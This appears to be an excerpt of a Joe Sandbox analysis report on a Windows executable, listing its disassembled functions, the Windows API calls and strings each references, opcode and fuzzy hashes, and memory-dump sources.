Opcode ID: 8c326ffdf613bec965b24eefbd291de90d56381beca0eea403caad45aa1d2aeb
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 8c326ffdf613bec965b24eefbd291de90d56381beca0eea403caad45aa1d2aeb
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: a43f8298630559bd8253c369c7e0cb3863940d209ccab43e1d506770e08af364
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: a43f8298630559bd8253c369c7e0cb3863940d209ccab43e1d506770e08af364
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00405E7F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe", xrefs: 00405E88
nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"$nsa
API String ID: 1716503409-600155708
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: a6f9f0949098482436c6c9f8cce42b162511fb53d9db31c2e6f8192b5b466978
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: a6f9f0949098482436c6c9f8cce42b162511fb53d9db31c2e6f8192b5b466978
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

